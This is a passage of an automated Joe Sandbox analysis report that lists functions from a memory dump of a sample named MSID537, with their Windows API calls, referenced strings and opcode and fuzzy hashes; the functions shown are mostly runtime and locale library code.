MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00BA7557
__alloca_probe_16.LIBCMT ref: 00BA7581
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00BA75C9
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00BA75E3
__alloca_probe_16.LIBCMT ref: 00BA7609
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00BA7646
CompareStringEx.KERNEL32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00BA7663

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16$CompareInfoString
String ID:
API String ID: 3603178046-0
Opcode ID: ad8327dab1118e911dcbc8a23f0460dfc1f5dc578f85c6fd0a17ab039da819f0
Instruction ID: 73cfdc2393d5c817a026947a93ff3ffce7348a0bb8e25de259bd46a315daacca
Opcode Fuzzy Hash: ad8327dab1118e911dcbc8a23f0460dfc1f5dc578f85c6fd0a17ab039da819f0
Instruction Fuzzy Hash: 0571817294C646AFDF218FA8CC45AEF7BF6EF5A354F280099E805A6250DF31C940CB60

Function 00BA6F23 Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,CCCCCCCC,00B8C6DF,?,00000001,00000000,?,00000000,?,00B8C6DF,?), ref: 00BA6F6C
__alloca_probe_16.LIBCMT ref: 00BA6F98
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,00B8C6DF,?,?,00000000,00B8CCD3,0000003F,?), ref: 00BA6FD7
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00B8C6DF,?,?,00000000,00B8CCD3,0000003F), ref: 00BA6FF4
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,00B8C6DF,?,?,00000000,00B8CCD3,0000003F), ref: 00BA7033
__alloca_probe_16.LIBCMT ref: 00BA7050
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00B8C6DF,?,?,00000000,00B8CCD3,0000003F), ref: 00BA7092
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,00B8C6DF,?,?,00000000,00B8CCD3,0000003F,?), ref: 00BA70B5

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 2670affcc88fd4cf604113ee1f1c253ae4bacebab944fbf6e1f4fd0df137a6c5
Instruction ID: 67de83542de5d053744f4bdbef25af178f04cf10d69560c2643db5ae2d3af816
Opcode Fuzzy Hash: 2670affcc88fd4cf604113ee1f1c253ae4bacebab944fbf6e1f4fd0df137a6c5
Instruction Fuzzy Hash: 81519C7254C20AAFEF309F60DC85FAB7BE9EB46750F1540A9F905E6191DF319D108BA0

Function 00B85940 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 389fileCOMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNEL32(?,URL,00000000,?,E5F50329,?,00000004), ref: 00B859AA
LocalFree.KERNEL32(?), ref: 00B85ABB
MoveFileW.KERNEL32(?,00000000), ref: 00B85D5B
DeleteFileW.KERNEL32(?), ref: 00B85DA3

Strings

URL, xrefs: 00B859A4, 00B85D8B
url, xrefs: 00B85ADC, 00B85D86

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: File$DeleteFreeLocalMoveNameTemp
String ID: URL$url
API String ID: 1622375482-346267919
Opcode ID: 60abc41a24f72085447b096433792dab634a9be172b0fd9d7adb1f85c7a6e02d
Instruction ID: 28a6145a21a5cde7bac625693b60de2bc0ab9b52855e5bdefde046bcd5f3373f
Opcode Fuzzy Hash: 60abc41a24f72085447b096433792dab634a9be172b0fd9d7adb1f85c7a6e02d
Instruction Fuzzy Hash: C1023670A146699ACB24EF28CD98B9DB7F5FF54304F1042D9D409A7261EB74ABC4CF90

Function 00B8F5E0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 189memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000000C,E5F50329,?,00000000,00000000,?,?,?,?,00000000,00BCB2D1,000000FF,?,00B8EBCA,00000000), ref: 00B8F624
std::_Lockit::_Lockit.LIBCPMT ref: 00B8F65A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00B8F6BE
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00B8F77E
std::_Lockit::~_Lockit.LIBCPMT ref: 00B8F832

Strings

bad locale name, xrefs: 00B8F84E

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2968629171-1405518554
Opcode ID: d321c7ac797405610d6dfe5821b48862c87b9315caf639b096ea1a8b6beea61c
Instruction ID: 8f343c7f9061112d6a78ba09efc8e221cbb485517cbd983dd8c94158c0c349f8
Opcode Fuzzy Hash: d321c7ac797405610d6dfe5821b48862c87b9315caf639b096ea1a8b6beea61c
Instruction Fuzzy Hash: 3F719FB0D05349EBEF11DFA8C884B9EBFF4AF15304F1441A9E414BB291E7B59A04CBA1

Function 00B8F3B0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000008,E5F50329,?,00000000,00000000,?,?,?,00000000,00BCB1DD,000000FF,?,00B8ED0A,00000000,?), ref: 00B8F3F4
std::_Lockit::_Lockit.LIBCPMT ref: 00B8F42A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00B8F48E
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00B8F4FE
std::_Lockit::~_Lockit.LIBCPMT ref: 00B8F5B2

Strings

bad locale name, xrefs: 00B8F5CE

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2968629171-1405518554
Opcode ID: 318ad09dbee4de8f967c96f25fef0982836af2c63fe82c24e36dfc8fb104277d
Instruction ID: d0b69aea3296f2f40c451459b95bb8b6d92644c54b2cf0486aae02d042bc8b48
Opcode Fuzzy Hash: 318ad09dbee4de8f967c96f25fef0982836af2c63fe82c24e36dfc8fb104277d
Instruction Fuzzy Hash: BD617DB0D01389EAEF21DFA8C944BDEBBF4AF15304F1840A9E454AB391D7799B04CB61

Function 00BA8D30 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00BA8D67
___except_validate_context_record.LIBVCRUNTIME ref: 00BA8D6F
_ValidateLocalCookies.LIBCMT ref: 00BA8DF8
__IsNonwritableInCurrentImage.LIBCMT ref: 00BA8E23
_ValidateLocalCookies.LIBCMT ref: 00BA8E78

Strings

csm, xrefs: 00BA8E0D

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: ef55adf6c27a425313b79b67c4bd5853ca5ab838362e1f8fdb6090855c673946
Instruction ID: ed01c663a9094bee6a0d70b3c746dedf88f19d52721ef38537bb5d1c30a482d8
Opcode Fuzzy Hash: ef55adf6c27a425313b79b67c4bd5853ca5ab838362e1f8fdb6090855c673946
Instruction Fuzzy Hash: E4418434A04209EBCF10DF68C884A9EBBF6EF46314F1484E9E9145B792DB31DE15CB90

Function 00BBC96B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00BBCA78,?,?,?,00000000,?,?,00BBCCA2,00000021,FlsSetValue,00BD1E00,00BD1E08,?), ref: 00BBCA2C

Strings

api-ms-, xrefs: 00BBC9C2
ext-ms-, xrefs: 00BBC9D6

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 56d819dcfa4c3b0ffaf97ec893856912b90dd61e5d0c1c79d1513e2cd87b6b5a
Instruction ID: d7a5f7d0b86eca6e3337e684e104eb0531b2553335f00da162111a1e4ecb12a3
Opcode Fuzzy Hash: 56d819dcfa4c3b0ffaf97ec893856912b90dd61e5d0c1c79d1513e2cd87b6b5a
Instruction Fuzzy Hash: 81212B32601215ABD731D7649C94BFA7BD9DB467A4F2401A1E855F7290FBB0ED00C6E0

Function 00B9D8F6 Relevance: 9.4, APIs: 6, Instructions: 433COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B9D8FD
ctype.LIBCPMT ref: 00B9D944

Part of subcall function 00B9D458: __Getctype.LIBCPMT ref: 00B9D467

Part of subcall function 00B979C9: __EH_prolog3.LIBCMT ref: 00B979D0
Part of subcall function 00B979C9: std::_Lockit::_Lockit.LIBCPMT ref: 00B979DA
Part of subcall function 00B979C9: std::_Lockit::~_Lockit.LIBCPMT ref: 00B97A4B

Part of subcall function 00B97AF3: __EH_prolog3.LIBCMT ref: 00B97AFA
Part of subcall function 00B97AF3: std::_Lockit::_Lockit.LIBCPMT ref: 00B97B04
Part of subcall function 00B97AF3: std::_Lockit::~_Lockit.LIBCPMT ref: 00B97B75

Part of subcall function 00B97CB2: __EH_prolog3.LIBCMT ref: 00B97CB9
Part of subcall function 00B97CB2: std::_Lockit::_Lockit.LIBCPMT ref: 00B97CC3
Part of subcall function 00B97CB2: std::_Lockit::~_Lockit.LIBCPMT ref: 00B97D34

Part of subcall function 00B97C1D: __EH_prolog3.LIBCMT ref: 00B97C24
Part of subcall function 00B97C1D: std::_Lockit::_Lockit.LIBCPMT ref: 00B97C2E
Part of subcall function 00B97C1D: std::_Lockit::~_Lockit.LIBCPMT ref: 00B97C9F

Part of subcall function 00B94403: __EH_prolog3.LIBCMT ref: 00B9440A
Part of subcall function 00B94403: std::_Lockit::_Lockit.LIBCPMT ref: 00B94414
Part of subcall function 00B94403: std::_Lockit::~_Lockit.LIBCPMT ref: 00B944BB

collate.LIBCPMT ref: 00B9DA78
numpunct.LIBCPMT ref: 00B9DCF2

Part of subcall function 00B9838F: __EH_prolog3.LIBCMT ref: 00B98396

Part of subcall function 00B980C5: __EH_prolog3.LIBCMT ref: 00B980CC
Part of subcall function 00B980C5: std::_Lockit::_Lockit.LIBCPMT ref: 00B980D6
Part of subcall function 00B980C5: std::_Lockit::~_Lockit.LIBCPMT ref: 00B98147

Part of subcall function 00B981EF: __EH_prolog3.LIBCMT ref: 00B981F6
Part of subcall function 00B981EF: std::_Lockit::_Lockit.LIBCPMT ref: 00B98200
Part of subcall function 00B981EF: std::_Lockit::~_Lockit.LIBCPMT ref: 00B98271

Part of subcall function 00B94403: Concurrency::cancel_current_task.LIBCPMT ref: 00B944C6

Part of subcall function 00B975B6: __EH_prolog3.LIBCMT ref: 00B975BD
Part of subcall function 00B975B6: std::_Lockit::_Lockit.LIBCPMT ref: 00B975C7
Part of subcall function 00B975B6: std::_Lockit::~_Lockit.LIBCPMT ref: 00B97638

__Getcoll.LIBCPMT ref: 00B9DAB8

Part of subcall function 00B8BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00B8BD10
Part of subcall function 00B8BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00B8BD38

Part of subcall function 00B884C0: LocalAlloc.KERNEL32(00000040,00000000,00BA839D,00000000,E5F50329,?,00000000,?,00000000,?,00BCCB8D,000000FF,?,00B817D5,00000000,00BCD3BA), ref: 00B884C6

codecvt.LIBCPMT ref: 00B9DDA3

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3$Lockit::_Lockit::~_$AllocConcurrency::cancel_current_taskGetcollGetctypeLocalcodecvtcollatectypenumpunct
String ID:
API String ID: 613171289-0
Opcode ID: 5dac99c556e3d561776462bce5f13f933b068a670a2f357699b02f208800d80b
Instruction ID: e6c403dcda346045c5491526967c485f2483cc8c305c009fd5e5c566416e6d50
Opcode Fuzzy Hash: 5dac99c556e3d561776462bce5f13f933b068a670a2f357699b02f208800d80b
Instruction Fuzzy Hash: 2AE1BEB2800216ABDF11AFA68842A7F7AE5EF41350F1544FDF958673A2EF708D10DB91

Function 00B82BD0 Relevance: 9.2, APIs: 6, Instructions: 225encryptionCOMMON

Download Yara Rule

APIs

#224.MSI(?,00000001,00000000,00000000,00000000), ref: 00B82C43
LocalFree.KERNEL32(?), ref: 00B82CA2
LocalFree.KERNEL32(?), ref: 00B82D0C
CertFreeCertificateContext.CRYPT32(00000000), ref: 00B82E94

Part of subcall function 00B83D60: CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 00B83DA3

LocalFree.KERNEL32(?), ref: 00B82E13
LocalFree.KERNEL32(?), ref: 00B82E6B

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Free$Local$Cert$#224CertificateContextNameString
String ID:
API String ID: 2665452496-0
Opcode ID: ccf6526f07a0470e9b87fc1db9349bb86524b34f1b3f9c5830b11edcc77141ef
Instruction ID: 3c56f525ebea1ea3686f688d72255d5027c27010565b1c21933dabfb1c9104e3
Opcode Fuzzy Hash: ccf6526f07a0470e9b87fc1db9349bb86524b34f1b3f9c5830b11edcc77141ef
Instruction Fuzzy Hash: C6918B709102498FDB18DFA8C948B9EFBF1FF48304F14465DD405AB2A1DBB5AA84CB50

Function 00B8B500 Relevance: 9.2, APIs: 6, Instructions: 152COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00B8B52D
std::_Lockit::_Lockit.LIBCPMT ref: 00B8B550
std::_Lockit::~_Lockit.LIBCPMT ref: 00B8B578
std::_Facet_Register.LIBCPMT ref: 00B8B5ED
std::_Lockit::~_Lockit.LIBCPMT ref: 00B8B617
LocalFree.KERNEL32 ref: 00B8B6C0

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_FreeLocalRegister
String ID:
API String ID: 1378673503-0
Opcode ID: a84079e2ba3a2b9c84434ea52f854cf4b5f2ac3e9a5e81691696608018087a5b
Instruction ID: 34948d274becfaff455c95f1746f834888736367a864ba0c6efaca24bcd88121
Opcode Fuzzy Hash: a84079e2ba3a2b9c84434ea52f854cf4b5f2ac3e9a5e81691696608018087a5b
Instruction Fuzzy Hash: 5B51A371800699DFCB21DF68D885B9EBBF4FB05324F1446AAE811673A1D771AE04CB91

Function 00BB5981 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 369COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00BB5A6B
__freea.LIBCMT ref: 00BB5B01
__freea.LIBCMT ref: 00BB5B1D

Strings

am/pm, xrefs: 00BB5B81
a/p, xrefs: 00BB5BE5

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID: a/p$am/pm
API String ID: 3509577899-3206640213
Opcode ID: 2150e8395990dbc5591153e0ed59e8c3b3944ea1ee78e7c762cf05a7cd6fccb0
Instruction ID: 4a2ea565af312cb6463b5e4f2631a45f04634a8be62b1cca15730a64de28a5d0
Opcode Fuzzy Hash: 2150e8395990dbc5591153e0ed59e8c3b3944ea1ee78e7c762cf05a7cd6fccb0
Instruction Fuzzy Hash: 7CC1B031900A06DBCB349F68C889BFABBF0FF06700F2442D9E505AB651D2F19D41CBA2

Function 00BAAEF5 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00BAAEEC,00BA9710,00BA85A3), ref: 00BAAF03
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00BAAF11
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00BAAF2A
SetLastError.KERNEL32(00000000,00BAAEEC,00BA9710,00BA85A3), ref: 00BAAF7C

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a7e4087a89392fbec61419b734c5222c7fe80dde5c2e3acca96b48f9b54b5937
Instruction ID: eb047c7b1922cc56d06b6a419fa6518ba83fd645c94ee67e7dcfe91e24ae3dde
Opcode Fuzzy Hash: a7e4087a89392fbec61419b734c5222c7fe80dde5c2e3acca96b48f9b54b5937
Instruction Fuzzy Hash: 5201887220D3116EA66827757CC9B5A6AD5EB03B7472002A9F520E70E2EF575E00A165

Function 00B9D38D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B9D394
_Getvals.LIBCPMT ref: 00B9D3E6
_Mpunct.LIBCPMT ref: 00B9D421
_Mpunct.LIBCPMT ref: 00B9D43B

Strings

$+xv, xrefs: 00B9D446

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: Mpunct$GetvalsH_prolog3
String ID: $+xv
API String ID: 2204710431-1686923651
Opcode ID: 74ba72bd3e8b18d2fe69516ea28b26b98b7c2523c3eae0c0bc79dbc0034ece34
Instruction ID: be40e1ec40c94fbd68a0552c058eca4e73cf89a1a06600cf9d5967041f17313a
Opcode Fuzzy Hash: 74ba72bd3e8b18d2fe69516ea28b26b98b7c2523c3eae0c0bc79dbc0034ece34
Instruction Fuzzy Hash: 8D2192B1904B926FDB25DF75C49077BBFF8AB0D700B1449AAE499C7A41D734EA01CB90

Function 00B883E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(E5F50329,E5F50329,?,?,00000000,00BCA221,000000FF), ref: 00B8847B

Part of subcall function 00BA7875: EnterCriticalSection.KERNEL32(00BE4AF8,00000000,?,?,00B825B6,00BE571C,E5F50329,?,00000000,00BC93ED,000000FF,?,00B81A26), ref: 00BA7880
Part of subcall function 00BA7875: LeaveCriticalSection.KERNEL32(00BE4AF8,?,?,00B825B6,00BE571C,E5F50329,?,00000000,00BC93ED,000000FF,?,00B81A26,?,?,?,E5F50329), ref: 00BA78BD

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 00B88440
GetProcAddress.KERNEL32(00000000), ref: 00B88447

Part of subcall function 00BA782B: EnterCriticalSection.KERNEL32(00BE4AF8,?,?,00B82627,00BE571C,00BCCCC0), ref: 00BA7835
Part of subcall function 00BA782B: LeaveCriticalSection.KERNEL32(00BE4AF8,?,?,00B82627,00BE571C,00BCCCC0), ref: 00BA7868
Part of subcall function 00BA782B: RtlWakeAllConditionVariable.NTDLL ref: 00BA78DF

Strings

kernel32, xrefs: 00B8843B
IsWow64Process, xrefs: 00B88436

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddressConditionCurrentHandleModuleProcProcessVariableWake
String ID: IsWow64Process$kernel32
API String ID: 2056477612-3789238822
Opcode ID: be296c233ed1d8ce62af97de7d50b79a47b2775491902ae837c9c9d7d5bf93a6
Instruction ID: 724adc64a78a7e69684fe5cff4864bcd6ca5f6bbac63ed39e5ccfebeecb85a6e
Opcode Fuzzy Hash: be296c233ed1d8ce62af97de7d50b79a47b2775491902ae837c9c9d7d5bf93a6
Instruction Fuzzy Hash: C811A272944B44EFCB20DFA4EC45B99B7E8FB08724F1407AAE911973A0EF356900CB90

Function 00BB8461 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,E5F50329,?,?,00000000,00BCCBE4,000000FF,?,00BB83F1,?,?,00BB83C5,?), ref: 00BB8496
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00BB84A8
FreeLibrary.KERNEL32(00000000,?,00000000,00BCCBE4,000000FF,?,00BB83F1,?,?,00BB83C5,?), ref: 00BB84CA

Strings

mscoree.dll, xrefs: 00BB848F
CorExitProcess, xrefs: 00BB84A0

Memory Dump Source

Source File: 00000004.00000002.2161154820.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000004.00000002.2161083161.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161323166.0000000000BCD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161447742.0000000000BE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2161515087.0000000000BE7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_b80000_MSID537.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 12c34c1297b3c00ecb5cb9930df3925c8a3fb11be4c7143e9de1c8539ba957ba
Instruction ID: c2c78a067c410f333f8e88a21a9badf7d266d46a4a425af8e456b3fbf1b74718
